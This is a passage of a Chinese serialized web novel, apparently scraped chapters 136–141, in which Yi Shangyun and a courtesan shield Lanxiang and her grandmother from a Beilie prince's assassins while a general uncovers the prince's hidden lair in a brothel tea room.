衣上云听到兰香所说,一边扣着纽扣,一边狠狠瞪了她一眼,说道“你知道什么?秦王殿下是多么尊贵的人啊,你以为他兴师动众地从城东秦王府到万娇阁来真的是为了寻我——一个微不足道的小药女么。殿下他一定是发现了隐藏在万娇阁里的与朝政有关的什么大阴谋才赶来搜查的,寻我只是个幌子而已,亏你还在万娇阁里阅人无数,竟连这种声东击西的计谋都看不出。殿下自是在做更重要的事,在这个节骨眼儿上,我怎么能让她因我这点小事而分心呢...你若真见到他,千万不要告诉他我的事。我们的事小,坏了殿下的大事,那可就真的得不偿失了。好了好了,黑衣杀手就要追过来了,你就不要再说了。你到底穿好了没啊,这都是你自己的衣服,怎么穿起来反倒比我还慢呢,赶快走吧,别磨蹭了。” 兰香心里顿觉衣上云所说的也似乎是有些道理的,毕竟那可是睥睨天下的秦王殿下,而衣上云只不过是一个区区卑微的药师之女而已,似乎实在没有理由成为那高高在上的秦王所在意的人。 于是,在衣上云的催促和推嚷下,俩人很快便离开了此时掩护她们藏身的那个屋檐,又朝着滂沱大雨之中再次冲了出去。 跑到街头的分叉口时,俩人便分了开来,各自按照之前已计划好的逃了去。 “在那里,快追。”果然,后来追上的俩名黑衣杀手手持长剑,竟真的误把穿着兰香外衣的衣上云错当成了兰香,径自跟着追了上去。 万娇阁里。 嫣红站在自己房间的门口,看着小厮们忙忙碌碌,进进出出忙碌地搬着大大小小的行礼,不知道发生了什么事,来万娇阁里这么久了,她还从未见过这样的事。 这时,老鸨朝她走了过来,对其轻轻点 了点头,嫣红便跟在老鸨身后进到了房间里,老鸨随即将门从里面紧紧扣起。 “你现在立刻赶快收拾东西,我们马上要离开这个地方。” 听了老鸨的话,嫣红甚是喜出望外道“离开这个地方?你的意思是说,我们要永远离开万娇阁,挣脱主子对我们的控制了么?” 看到嫣红眼里流露出的惊喜之色,老鸨一时间竟不知该对其如何解释,稍作犹豫后,她上前握住嫣红的手坐了下来,对她抱歉地说道“嫣红,对不起,都是我连累了你。如果不是因为我,你也不会被困在这个暗无天日,肮脏龌龊的地方。” 闻此,嫣红的心忽然间又软了下来,自从拓跋泽将她困在这万娇阁里以后,她还是第一次这般和气地与老鸨坐下来交谈“茹姨,嫣红一直不明白,你当年...究竟为什么宁愿丢下一切,也要离开我们母女呢?难道,是觉得我们母女会拖累你么?” 听到嫣红发自肺腑真诚恳切的疑问,老鸨轻叹口气“傻丫头,你和你娘都是那么善良的人,茹姨怎么可能是害怕被你们娘俩拖累呢。嫣红,其实...茹姨并不是西秦人,而是南安人。” 本以为嫣红听了会很惊讶,却不想嫣红根本一点也不觉得诧异,只无所谓道“是南安国人怎么了,茹姨虽为南安国人,却比那些假仁假义的西秦人好千倍万倍。当年若不是茹姨,我娘和我怕早就没命了。又怎会有现在的我。虽然...我们暂时被人控制了,但嫣红相信,茹姨一定有办法帮我们脱困的,对么?” 嫣红此时充满信任和期望的眼神,让老鸨的心里瞬间变得更加惭愧起来,随即伸出一只手来抚了抚嫣红的后脑勺,语重心长道“真是个好孩子,这段时间在这里担惊受怕的,真是苦了你了。” 嫣红听了只抿嘴对她笑了笑。一转念,稍作犹豫,老鸨又道“其实,茹姨并没有你想的那么好。你不是很想知道当年茹姨为什么会撇下一切离开你和你娘么?” 嫣红瞪大了眼睛看着老鸨,老鸨稍作回忆,缓缓说道“十八年前,茹姨被南安国君冤枉,逐出了南安国土,被迫与我那尚还年幼的儿子骨肉分离,今生再也不得见面。” 嫣红闻此不可思议地大叫“怎么会这样?” 老鸨对于辛酸的过去,并未细说,接下来只道“后来我便在西秦国栖身下来,再后来就遇到了你娘。看到你渐渐长大,你们母慈女孝,茹姨很 第一百三十六章:北烈的茶罐 半晌后,嫣红一缓过神来,便连忙起身打开房门,匆匆下楼朝着万娇阁门外奔了去。老鸨望着嫣红离开的背影演了摇头,深叹口气,一脸茫然。 “香儿姐,你是嫣红今后在这个世上唯一的依靠,等我,一定要等我,你千万不能死,千万不能死啊...”嫣红在街上一边疾跑着,一边口中喃喃道。 就在嫣红急急出了房门大步向楼下跑去的时候,刚好与楼梯口的拓跋泽及其贴身侍卫擦肩而过。拓跋泽见其急匆匆跑下楼出神的模样竟连他都没注意到,便当即吩咐身边的贴身侍卫“快去跟上她”,侍卫即刻意会领命便追了出去。 “哼,本皇子倒要看看你这次究竟能逃到哪儿去。”拓跋泽单手负后,站在栏杆边对着嫣红和侍卫离去的背影自言自语地说道,脸上露出满是狡黠的表情。 这时,他忽然看到程良带着两名侍卫从门里进来,便朝其狠狠地瞪了一眼,随即转身快步回到了后院里去。 到了后院的阁楼上,拓跋泽径直朝着茶室的茶席边上一大型乌木茶架,上面布满琳琅满目各种储存茶叶的茶罐走了过去,看着一个个储茶罐,似是在挑选此时最合他心意的一道茗茶。 最终挑选了一罐用南国最上等的红茶混合其出产的最优质的玫瑰所制成的世间最好的玫瑰红茶拿在手里,这道茶口感醇和、利肺脾、益肝胆,尤其适合在冬日里女人美容养颜饮用。 选好了最衬自己目前心思的茗茶,他方才缓缓踱步来到茶室的茶几旁坐了下来,煮上了一壶清水,眼睛深长地凝望着眼前的水壶陷入了一片沉思之中,不禁想起了那日与玉娘一起品茶的一幕幕来,口中喃喃自语道“也不知后来本皇子差人送给你的这新出的玫瑰红茶你是否喜欢”...... “头儿,这万娇阁里,弟兄们都搜了个底朝天了,丝毫没有发现衣姑娘、玉娘和那北烈皇子拓跋泽的任何蛛丝马迹。该不会是殿下搞错了吧。”其中的一名侍卫一进门便对程良抱怨着。 “不可能,殿下一向独具慧眼,料事如神。他说在这里就一定在这里,绝不会错。”程良听后说道。 “是,可是现在我们该怎么办呢?”侍卫有些惶恐地问道。【¥………更好更新更快】 “搜,继续搜,角角落落都不要放过,一定要找出来。”稍作思索,程良对其坚定地道。 忽然,老鸨喜盈盈地冒出来叫喊道“哎呦,这位官爷您又来啦。怎么?那姑娘找到了没呢,今日来我这万娇阁是公事还是私事呢?” “走开,废话少说。”还没等程良开口,其中一位侍卫便举起手中的剑来,对着老鸨开口训斥道。 然程良朝着开口说话的侍卫挥了挥手止住了他,问道“你就是这万娇阁里的老 鸨?” 老鸨仍面露喜色沉稳地答话道“回官爷话,正是老奴。” 程良粗略打量了她一番,随即问道“你家主子,为何不见他的人影,他在何处?” 老鸨听了却丝毫都不紧张,眼睛只怔了一下,随即便流利道“哎吆,我说这位官爷,您这话可就真的折煞老奴了。这说好听点,我是这万娇阁里管着些闲事的老鸨,说难听了,就是主人养的一条狗,哪里会有什么资格和胆量,竟敢打听主人的行踪呢,您真是抬举老身了。” 程良闻此回答,心中自是多少有些预料之中,却终究还是难忍心中的怒火,却也不得不强忍着内心的愤怒警告她“你都知道些什么,最好老老实实地交待出来,否则,如果让本将军亲自查了出来,到时候我们就不会是今天这般客气地说话了。” “老奴实在不知道官爷您在说些什么,请恕老奴无可奉告。”老鸨依旧僵着一脸笑容对其说道。 “你不要敬酒不吃吃罚酒…”这时,一旁的俩个侍卫见那老鸨如此傲慢的态度,对他们的头儿说话,便怒着想要抽出腰间的佩剑来吓唬吓唬她,却被程良伸手拦下。 老鸨越是如此反常的傲慢姿态,程良便越是觉得这万娇阁里波涛暗涌。 想起主子的话,转念之间,程良又朝老鸨开口道“想必你也应该已经知道,我们所找的那位画像上的姑娘,就是女扮男装到万娇阁里来的那位来自城西的白袍公子了吧?!当日你派去服侍她的是哪位姑娘,本将军现在要找她问话,你且把她叫出来吧。” 老鸨听了心里顿时一惊,稍一迟疑,露出一抹黠笑“哦,原来官爷是来找兰香的啊,哎呦,那官爷今儿个来的可真是不巧,兰香昨日身体抱恙,已经告假离开万娇阁外出修养了!” 程良惊道“哦?这么巧,可知她何时回来?” “这个老奴就说不准了,少则三五天,多则十天半个月,又或者…”老鸨说着说着,脸上的笑意渐渐淡了下去似是所有所思着。 “什么,这么久?”程良自是不知兰香早已成了拓跋泽的一枚弃子,正在被其全力追杀之中。 然稍一迟疑,程良紧接着问道“她离开的时候,可曾有说要去哪里修养?” 只见老鸨的眼睛稍移向一边,又用手中的丝帕轻掩着鼻翼 第一百三十七章:原是,一场美梦变噩梦 不知不觉间,已近暮色。 距离万娇阁不远处,一户门庭与左邻右舍相比,显得极为朴素甚至有些寒酸的小门小户里,袅袅炊烟渐渐升了起来。 院内,一位白发苍苍且步履蹒跚的暮年老人,正在庖屋里精心忙碌的烹煮着一餐略显丰盛的待客晚饭。 尽管都是些普通农家里的常见菜色,没有什么大鱼大肉,但对于这样度日艰难的家庭来说,这已然已经是比她们年夜饭的菜色都要好得多了。 而使老人如此兴致勃勃地烹煮这顿晚饭的原因,只因为十几年来,老人第一次心中如此高兴。 此时,老人正一边包着象征团团圆圆的饺饵,一边口中喃喃细语着“女儿啊,你泉下有知,也可以瞑目了。咱们兰香总算是有了出息了,如今竟也可以靠自己的正经本事讨生活了。如此,我这把老骨头也可以放心的去见你了。恨只恨,当年的那只披着羊皮的狼,为娘我至今仍旧还没有找到。所以,我这把老骨头还得好好撑着,我一定会为你报仇的。可怜的孩子,你就放心的好好投胎转世,来生做个富贵人家的孩子,不必再受苦了。” 说着说着,泪水不知不觉间模糊了视线,老人默默的用衣袖拭了拭脸庞的泪痕。 “咚咚咚,咚咚咚”就在这时,一阵紧急的叩门声忽然响起。 老人方才被惊醒过神来,于是连忙拍了拍手上粘着的面粉,便伸手拿起手边的拐杖从庖屋内缓缓朝着大门走去。边走边欣喜地说“是兰香和姑娘回来了吧!哎呦,可算是回来了,这好好的天气,怎么突然下起这么大的雨来了。你们没被淋着吧…” 然当她伸手打开门来的一刹那间,被眼前来人的模样惊呆了。 只见这叩门的人乃一妙龄女子,身着一袭红装,娇艳似火,却单薄如蝉翼。 这来人正是从万娇阁老鸨口中,得知了兰香被主子命人追杀,特地前来通风报信的嫣红。 因为事出十万火急,她根本顾不得卸下在一年四季都温暖如春的万娇阁里的单薄衣着,更无暇顾及到外面的滂沱大雨,便一股气冲了出来。 此时,嫣红在万娇阁里沾染的满身浓浓的胭脂水粉味直熏的人有些招架不住,老人一个没忍住,不禁极不适应地打了个喷嚏出来“阿嚏。” 随后,老人又仔细地将这名女子从上到下仔细打量了一番。 因为一场突如其来的大雨刚过,那女子本就单薄的衣裳此时已经完完全全被雨水湿透,紧紧地贴在身上。 人也有些瑟瑟发抖着,头上的碎发也凝成了一股一股。 于是,便更凸现出一副玲珑的曼妙身姿来,其身前坦胸露乳,中间的沟沟壑壑隐约可见。 再加上这满身浓浓的脂粉气,明显不是正 经人家里的姑娘,莫非她是…… 正在老人沉思猜测之际,那女子先开了口,道“婆婆,请问这里是不是住着一个叫兰香的女子,我有非常紧急的事情找她,请让我见见她,好么?” 正所谓“人靠衣装马靠鞍”,嫣红此时此刻的打扮和模样确实有欠稳重。 此时,想必无论是谁,都不愿自家的门前出现一个如此风骚扮相的风尘女子。 而老人在衣上云告诉她兰香在外面的情况之前,就连每晚做梦都生怕自己的外孙女不学好,跟这样的人扯上关系。此时,暂且不说兰香真的不在屋里,就算她在,又怎么可能真的让嫣红见到兰香呢! 老人心里对她的初次映象已然不佳,一念至此,便顿时对这女子没了好气,嫌弃地道“你是什么人,找我外孙女有何贵干?” “谢天谢地,总算没有找错地方。”嫣红一听到老人这句话,一脸欣喜激动的自言自语道。 “婆婆,是这样的,我叫嫣红,是和兰香一起做活儿的姐妹。香儿姐她人呢,我真的有很重要的事,必须马上告诉香儿姐。”稍一回神,嫣红一边说,一边绕过老人身体的遮掩向院子里四处张望着。 “哎哎哎,我说你这个姑娘,怎么这么没规矩呢,你瞎往人家家里瞧什么呢?我们香儿怎么可能会有你这样不识礼数的朋友。快点儿走,快点儿走,不要再呆在我家门口了,不知道的人还以为我们家认识那钟地方的人呢,这要是被邻居们知道了,那还了得。就光那唾沫都非把我们香儿淹死不可,以后还叫她怎么做人呢?!”老人见女子鬼鬼祟祟,便一边朝其愤愤说着,一边着急地将嫣红用力地往外推了一把,随即便准备将门关起来。 嫣红这才意识到了老人对她尤为质疑的态度,低头看了一眼自己的着装,便伸手将胸前的衣裳拢了拢。 可马上,她又快速反应过来,接着大力地一把拍在了即将关闭起来的门上,心下一急脱口而出“婆婆,求你了。我是真的有十万火急的事要告诉兰香姐,就请婆婆让我进去见见她吧,人命关天,真的很急很急…” “住口” 谁知这次,嫣红的话还没说完,便被婆婆厉声大喝止住,嫣红被这突然提高的嗓门吓了一跳,不禁打了个颤。 老人随即开口继续训斥道“我不当面拆穿你的营生,已经是给足了你面子,可你非要自取其辱么?看看你这一身风尘女子的模样,哪里是正经人家的闺女,我们兰香乖巧懂事,怎么可能和你一起做活计,简直就是满口胡言乱语,识相的,还不赶快滚。否则……” “婆婆,有人要杀香儿姐,我是特地前来报信的啊。”嫣红见老人甚是难缠,俩人久久僵持不下,只得此时 便将将她的来意急急说出。 “什么?有人要杀我香儿,这怎么可能呢,是谁要杀我家香儿?”果然,老人一听自己的外孙女有危险,便立刻着急担心了起来 第一百三十八章:姜,还是老的辣 嫣红一见来人手持长剑凶神恶煞地瞪着眼进门来,赶忙将老人一把遮到其身后挡了起来,朝后一步一步慢慢退了回去。 俩人惊恐地看着手持长剑夺门而入的两名男子渐渐逼近到她们身边,将那明晃晃锋利的长剑指向她们。 半晌后,嫣红颤颤巍巍地问“你们是什么人?想要干什么?” 这时,又跟着跨门进来一个似是其头领的男子,墨发半束、单手负后着。 男子一进门来并没有急着回答嫣红的问题,而是冲着俩个早已吓得战战兢兢的女人一脸狡黠地笑道“你们放心,只要你们把兰香乖乖交出来,我保证不会伤到你们俩分毫。” 嫣红闻之顿时领悟大惊道“你们是主子派来杀兰香灭口的?你们...你们跟踪了我?” “女人太聪明了,可并不见得是什么好事啊。”那男子听了嫣红的话,倒吸了一口气,轻蔑地笑道。 谁知嫣红竟忽然变得不再柔弱起来,她心里暗自思量,往日里都是兰香在帮她遮风挡雨,这次说什么,她也一定不能出卖兰香。 事到如今,她也是豁出去了,总不能一辈子都一直这样畏首畏尾地任人摆布。 一念至此,她深吸口气似是鼓足了勇气,挺直腰身,提高了嗓门道“哼,想找香儿姐,真是可惜了。你们来晚了,她早已经离开了。” “你说什么?”男子闻之即刻怔大了眼睛审视着嫣红的话是真是假。 稍一回神,男子朝两名手下摆了摆手,那俩人便立刻散开了去到屋子的里里外外,角角落落搜了去。 很快,俩名手下便将本就不大的这个小门户翻了个底朝天,进来拱手回禀道“启禀大人,这整个院里除了眼前这一老一少,并无她人。” 闻此,男子瞬间失了风度,再也沉不住气地一步上前,一伸手便紧紧地掐住了嫣红那细长的脖颈。 嫣红对此一点点防备都没有,直被那男子掐的即刻便满脸通红说不出话来,男子倾身凑近到其眼前大声喝道“快说,兰香她人究竟去了哪里?” 而此时,一直在一旁惊魂未定着被吓得瑟瑟发抖的老人见此,不禁惊出了声,抖得越发更厉害了。任凭她怎么都没想到这场大祸竟来的如此之快,以至于她至今都还没有反应过来。 然嫣红此刻心里却一点儿也不害怕,眼睛依旧漠视对着男子,吃力的冷哼一声道“哼,你以为就凭你们小小北烈国,区区一群野蛮人,便能在我西秦大地上翻云覆雨,为所欲为么?休想!不妨告诉你吧,别以为你们的阴谋无人知晓,你们这些年处心积虑隐藏在万娇阁里,通过留恋于万娇阁里的那些达官显贵刺探我西秦国情,香儿姐早就已经知道了你们的阴谋。此时此刻,香儿姐怕是 早已经到了官府报了信去抓你们了吧,你们休想逃掉,有本事你就去官府找她啊!呸…” 话音刚落,嫣红竟然朝着男子的脸上狠狠地啐了他一口。 “闭嘴,你这个贱人。” 随着男子气急败坏出手“啪”的一声,嫣红的脸上留下了清晰的五道手指印,同时亦被其重重地推倒在地。 “姑娘,姑娘没事吧。”老人看见连忙俯身下去将她扶住,关切道,嫣红捂着瞬间便发起烫的半边脸,蹙眉对其微微摇头,示意老人无需担心。 而这时,男子的眼里忽然闪现出一抹不怀好意甚至更显毒辣的光来,这光随即落向了嫣红身旁瘦弱的老人,似是心中有了更好的主意。 嫣红一见,立刻坐起身来将老人紧紧抱着,看着眼前的男子怯怯地疑惑道“你想做什么?” 谁知,那男子竟忽然语气平和了下来,走近老人身旁问“不知这位老人家是兰香的什么人呢?” “与你何干?”尚还未等老人开口,嫣红急忙将身子挡在老人面前先开了口。 男子一见,狠狠地朝她瞪了一眼,深叹口气,随后看向了身旁的两名手下。 那两名手下立刻心领神会地上前,大力地各自拉起一人将嫣红与老人很容易便分离了开。 见此,嫣红声撕竭力地呐喊骂道“你们这些北烈国的野蛮人,畜牲。你们究竟想干什么,有什么,你们便都冲着我来。拿一个手无缚鸡之力的孱弱老人来撒气,算什么男人?!” 见此,嫣红瞬间乱了方寸,竟大喊起来“来人啊,救命啊,杀人啦,北烈国的细作……” 可话还没说完,牢牢控制着她双手的那名男子手下便拿出一条粗布巾来将嫣红的嘴巴堵的死死的,纵使她再怎么拼命挣扎也是无济于事。 这时,男子方才静下心来,依旧笑如春风般地继续诱骗老人,道“老人家,你可千万不要相信这个臭丫头的胡言乱语,我们可不是什么坏人。你把你知道的一切都老老实实的告诉我,我保证没人敢伤你半根头发。不仅如此,我还会给你一笔这辈子都吃不完用不尽的养老钱,如何?” 没了嫣红的掩护,老人此时终于清醒了过来,对男子的话思量片刻,随即镇静地缓缓说道“你果真能言而有信?” 男子笑着点点头,一旁被堵了嘴的嫣红则拼命摇着头。 老人看看这个又看看那个,开口说道“老人家我已经是即将入土的人了,要这些金银财宝身外之物有何用。唯只不过盼着死后过年过节的,能有个人能在坟头陪我说说话而已。如今,我用这些金银来换取我这独有的一个亲人,我那苦命的外孙女的命, 第一百三十九章:威逼利诱终无果 就在老人已万念俱灰地闭起眼睛,男子手持利剑正要发力刺向她胸口的千钧一发之际,忽然从门外传来一阵女子的声音“住手!” 屋内众人闻声,都不约而同的一起向着传出声音来的方向望去,顿时皆愕然一片。 只见一个瘦瘦弱弱的姑娘一身湿答答的站在门口,一只纤细的玉手将厚重的门帘轻轻撩起。 这姑娘身着着兰香的一袭宝蓝色衣裙,跑的气喘吁吁,尚还没顾及擦拭掉那额头上已分不清是残留的雨水还是汗水,只犹如及时从天而降的神女一般轻纱遮面,浑身散发着耀眼的光芒,一双炯炯有神的凤眼怒目瞪着眼前手持长剑的男子。 老人本就眼神不好,远远的只见眼前的女子一袭其外孙女的装扮,便瞬间脸上现出一抹极为焦急的神色,她自是在担心着外孙女的安危,好不容易赶巧了外出不在家躲过一劫,可她怎么偏又这时回来了? 一念至此,老人顿时吃惊地朝其大声喊道“香儿,你怎么回来了?你回来做什么?这些人是专程来杀你的,你快走,不要管我,快跑啊。” 然女子闻声非但没有退缩,反而极为平静地一步跨过门槛来,三步并做两步走近到老人身旁握起她的手,凝视着她的眼睛,似是想将老人方才所受到的一切恐惧全都抹了去。 这时,老人方才看清了这女子并非她的外孙女,而是与她外孙女上午一起前去梦园赏梦花的那位好姑娘,可这位姑娘既然都已经回来了,那她的外孙女又去了哪里呢? 就在老人满心疑惑的想开口说些什么的时候,衣上云直盯视着老人的眼睛朝其笑着微微摇了摇头,老人便立刻将已到嘴边的话语全都吞了下去,安心下来。 就在这时,那手持长剑的男子瞪大了眼睛,看着这个临危不惧、遮着面纱的女子,似乎亦是颇为惊讶,心中又有些暗自窃喜地试探着问道“莫非你就是...衣上云?” “没错,我就是衣上云,你…认得我?”衣上云闻声速速一把将老人拉到自己身后护了起来,安然自若地回答道。 男子缓缓收起手中的利剑,没想到原以为这一趟是要白跑了。此时却是山重水复疑无路,柳暗花明又一村。 最后时刻,竟然让他们真的撞见了衣上云,要是能帮主子得到她的助力,主子定会对他大加赞赏的。 念及此,男子即刻含笑着恭维道“呵呵,在下早就听闻西秦衣药师府上的大小姐钟灵毓秀、医术过人、才智非同一般。今日一见,果然非同反响。” 闻此,衣上云的嘴角弯出一抹淡淡的弧度,却跟着扬起头来轻蔑地对其冷哼一声“哼,这些话本姑娘倒是不敢当。不过,不知以往何时,我可曾得罪过诸位?” “哦,不曾,不曾,此话何从说起呢?能认识衣姑娘,是在下的荣幸,祖上积德,衣姑娘言重了。”男子连连弯腰哈背地朝其客气道。 然衣上云却忽然提高了声音,对其怒斥道“既然我不曾得罪诸位,那诸位为何险将我的婆婆与这位妹妹致之于死地呢?你方才手里举着利剑,气势汹汹的是想做什么?” 男子看着衣上云忽然间投向自己的一抹寒光四射的眼神,方才还好好挂在脸上的笑容瞬间便僵住了,怔在原地里半天说不出话来。他自是没有没想到,如此瘦弱的一个女子,竟能说出这般颇具气势和力量的话来。 稍一回神后,男子挥了挥手,两名手下便赶忙松开了牢牢被禁锢着的嫣红的双手,并替其拿掉了一直塞在她嘴里的粗布巾。 嫣红一挣开束缚,便指着那男子朝衣上云大声告知道“姑娘不要信他,嫣红刚刚记起来了,他是万娇阁阁主的近身侍卫。万娇阁的阁主乃是北烈国皇子,北烈国想要统一灵空四国,称霸整个灵空,他们这两年藏身在万娇阁里通过西秦的那些达官显贵们探知了不少其他三国的国事。” 衣上云闻之大惊,直勾勾地看向了嫣红的眼睛,嫣红朝其用力地点了点头,示意自己所言却是实情,随后又继续道“这次,因为秦王发现了万娇阁有蹊跷,便将万娇阁包围起来,他们怕暴露自己,便打算这两日逃回北烈国去。因为香儿姐知道很多阁主的事情,他们便设计跟踪我想要找出香儿姐,杀她灭口。” “她所说的一切,可都是真的?”听完了嫣红的话,衣上云不禁惊讶这万娇阁里竟暗藏着这么复杂的阴谋,于是半信半疑着震惊地问那男子。 然男子却一点儿也不避讳,依旧诡异地笑了笑,让人不禁心里有些发毛,随即走到衣上云跟前,说“如今的灵空大陆,四国之间关系微妙,危机四伏。总得有一个出来主持大局,以使黎民百姓免受常年的战争之苦。而试问天下又有谁不想坐上这个位子。而为了这个位置,哪个国家不是派了自己最强大的细作队伍潜入对方朝政助其成事,我北烈又有何错?难不成我们什么都不做,就这样坐以待毙,任人鱼肉么?” 闻此,衣上云嗤之以鼻道“哼,说的倒是冠冕堂皇。不错,这天下恒古至今的确是合久必分,分久必合。可只怕你们区区北烈国,一个贫穷落后的小小游牧国家,对抗西秦且已是以卵击石,又有什么资格坐拥这天下。我劝你们还是早些悬崖勒马,向仁义之邦俯首称臣,寻求庇护才是明道,切莫引火自焚才是。” 第一百四十章:亲查万娇阁“茶室” 万娇阁后院。 拓跋泽的阁楼里,两名黑衣杀手正怯怯地跪在其面前冰冷的地板上禀报“启禀殿下,属下们在梦园里发现了兰香与衣上云的踪影。可后来...后来跟丢了。” “废物,滚出去!”随着一阵震耳欲聋的怒骂声,两名黑衣杀手急急起身来向外仓皇而逃了出去。 随之,身后传来一阵杯盏被摔落在地破碎所发出的极为清脆的声音来。 这时,一名侍卫神色慌张地走了进来,凑到拓跋泽的身边对其耳语了片刻。 只见拓跋泽越往下听去,那双深邃的眼睛便眯地越紧,方才握起的那只搭在面前茶几上的拳头亦是握的更紧,脸上还夹杂着渗人的凶光。 侍卫言闭,拓跋泽随后便急急起身来朝着茶席旁,其上面布满琳琅满目各种储茶罐的乌木茶架走了过去。 当他走到一个似是极为熟悉的,其上面亦印着北方牧草羊草图案的比其他储茶罐都大了几分的一个储茶罐边儿上时,忽然停了下来。 只见他伸手轻轻将这个储茶罐挪离原来的位置,这架子上便出现了一个镶嵌着的有些像狼面的金属图腾。 他又将其往下轻轻一按,忽然,乌木茶架边的地上打开来了一道缝隙来。 沿着这神秘的缝隙看去,眼前竟有一座通往地下的楼梯,里面还隐隐约约散发出星星点点的烛火之光来。 这时,拓跋泽快速朝着那缝隙踱步走了过去,沿着楼梯一路而下。 就在他的身影刚一消失在茶室里,地上方才的缝隙便瞬时合拢起消失不见。 这时,一旁的侍卫便连忙上前,将那刚才被拓跋泽挪开的茶罐重新归位放置好,又仔细的检查了一番,见并没有留下任何痕迹,这才又去了另一边弯腰下去捡拾起地上的杯盏碎瓷片来。 就在这时,老鸨带着程良和两名随行的侍卫缓缓上了楼来。 老鸨顿时瞪大了眼睛朝着捡拾碎瓷片的侍卫使了个眼色,侍卫便悄悄退了下去。 程良警觉的瓢了一眼这个与他擦身而过的显得有些怯怯的男子,亦是看到了他手中捏着的碎瓷片,心里暗自怀疑着。 就在程良思量之际,老鸨满脸堆笑着向程良介绍“官爷请看,这里便是我们万娇阁的储茶室了,平日里采购回来的新茶,都会统一归置在这里。因为万娇阁里都是侍候一些达官显贵的,这茶叶平日里自是也都用的是极好的。因为怕交给别人保管不好的话暴殄天物,又怕被其拿出去偷着换钱,这后院便不允许任何人进来。到了用茶的时候,也都是老奴亲自上来取了再分发下去。所以这平日里,也没有个专人整理打扫,难免有些脏乱,官爷就随便到处看看吧。” “这里除了你,果真再也没有人能来 么?”程良疑惑地看看刚刚离去的男子身影,又看看眼前茶几上正在沸腾着的一壶清水,朝着老鸨说道。 老鸨这才眼睛一斜,朝着程良看向的方向也都一一看了去,似是忽然意识到了自己此时是真的紧张,一时竟失了言。 于是,稍一迟疑,她看着眼前茶几上正在烹煮的早已沸腾开来并发出咕嘟咕嘟的声音的那壶水,以及水壶旁还放着的一小罐茶叶,立刻一边急匆匆地踱步过去,一边嘴里谩骂道“这个小兔崽子,竟敢私自躲懒偷跑到这里来偷吃茶,还打坏了这里的茶具,看我待会儿怎么收拾他,今儿非得扒了他的皮不可。” 老鸨说的做的倒是装的有模有样,可终究还是逃不过程良的火眼晶晶。 他自从一进到这个院里来,便看出这个似是不起眼的后院,可并没那么简单。 这个院子不大,却是淡雅别致,亭台楼阁应有尽有,且都一尘不染地清爽干净。 上了楼后,更是让他惊讶不已,也让他更加确信自己方才心中的猜测。 这阁楼里坐卧起居,茶室暖阁一应俱全,装饰之物所用的也都是上等的材料,俨然就是一个无比豪华舒适的居家之所,哪里只是一个简陋的储茶室。 程良看着眼前的一切,忽然想起方才在兰香的房里,如果那个叫兰香的女子真的极懂茶道,而又颇受重视,为何她常用的极品玫瑰红茶茶罐早都空了,也都不曾添置?还有,她既然懂茶爱茶,却为何只有一个空茶罐,甚至连其它任何茶具都不曾备下? 而在这个屋子里,却是茶席茶具一应俱全。那老鸨说这里并无专人整理打扫,可这处处却是干净如明镜一般发着亮光。 明显,这里肯定是有人长期居住着,而且是一个很有身份和品味的人,住在这里的这个人才是那个真正懂得茶道之人。 且就这整座阁楼里的清冷格调来看,必定是个男子。 而在这里,除了万娇阁的主子,还有谁能有这个资格单独住着一个院子呢? 还有,刚才他们进门时所撞见的那个小厮,怕是极有可能就是这万娇阁主子的侍从。 再低头看看眼前地上此时的这一片狼藉:很容易便能看出,方才那侍从手里捏着的被打碎的茶盏碎瓷片,是在距离茶几较远的地方捡起来的,那地上的瓷片碎渣和清水渍都还清晰可见。 再看这茶盏被摔碎落地的位置和滑痕痕迹,并不是四溅开来,而是从茶几方向落过来滑向其对面。 这明显是有人从茶席上砸过去所致,而并非小厮不小心所为。 敢在此发怒砸东西的,一定是万娇阁的主子,程良顿时明白过来。 显然,这老鸨嘴里所说出的每一句话亦是没有半句是真的。 “前 几次是谁负责查这个院子的?”一念至此,程良疑惑着低声问身边的侍卫道。 “回将军,这个院子我们的人前前后后总共查过三次,都是城南府衙里调过来的一个人查的,一直都报告说这里就是个简单的仓库,没有发现什么异常?今日来之前,属下本想先找人了解一下这里的具体情况,可不知为何,那人却…忽然失踪了。”侍卫说话的声音越来越低。 程良闻之蹙眉急问“哦?可有问其他人是不是回城南府 第一百四十一章:不入虎穴,焉得虎子 一跨出万娇阁的门来,身边的侍卫便向程良问道“将军,这次似乎还是没有什么发现啊?” “没有什么发现?你当真什么都没瞧出来么?”程良反问。 “属下愚钝,愿闻将军详解?”侍卫诚恳地求解道。 “哼,你见过谁家的储茶室会专门用一座阁楼,而且是一座极为奢华的阁楼。你难道真看不出万娇阁的这个后院,便是那万娇阁真正的主子,不...一定是那个北烈大皇子拓跋泽的藏身之处。”程良似是突然间恍然大悟道。 接着又对其手下的侍卫分析“那玫瑰红茶产自南国,却用印着北方牧草羊草的储茶罐储存,而且那茶室的乌木茶架上摆着的储茶罐几乎都是类似的北方格调,可见他主人是有多钟情于北国。殿下猜的一点都没错,这万娇阁真正的主子果然是他。你...真是愚不可及,之前是怎么安排人的,竟如此大意,险些酿成大祸。”侍卫本就还在揣测程良前半句话,尚未明白其意却又被后面极为严厉的斥责声瞬间惊愣了住。 还未及其开口说话,程良便急急说道“先回去禀了主子再说。” 话音刚落,三人便行色匆匆地朝着如意居方向回了去。 就在程良等人前脚刚离开后,拓跋泽的贴身侍卫和俩个手下正押着衣上云、嫣红和兰香外婆三人正沿着与其相反的方向即将回到万娇阁。 为掩人耳目,还故意给三人遮掩上了长长的黑色帷帽,又紧随其后且以短剑悄悄地抵在三人身后,确保她们不敢反抗或者随意出声。 一路急赶着回去复命,不曾停歇过片刻,老人此时看起来似是已有些体力不支,脚步忽然渐渐放慢了下来。 其中一个手下看见,便将藏在手中的短剑抵紧了老人的腰间,朝其厉声呵斥道“老不死的,还不快走,给我老实点。” 衣上云和嫣红闻声赶忙将老人扶住,嫣红忙道“婆婆再坚持一会儿,前面马上就到万娇阁了。” 老人唉声叹气道“唉,真没想到我这一把老骨头了,临了临了竟然会进这种地方,我还不如现在死了算了,倒还落个干净...” 这时,衣上云开口劝道“婆婆怎么能说这种丧气话?二郎已经死了,你可是兰香在这个世上唯一的亲人了,如果连你也不在了,那她该有多孤单,多难过啊。所以为了她,你一定得好好活着才是。” “二郎?可是那个当年骗我们香儿说要娶她过门的登徒子么?”老人一听到‘二郎’这个名字,立刻咬牙切齿起来道。 衣上云看着老人的眼睛,微微点点头,老人疑惑道“他死了?” 稍一犹豫,老人却忽然又欢喜起来“死了好,死了好。这种背信弃义的人,该死,早就该死了...只是 ,不知他是怎么死的?” 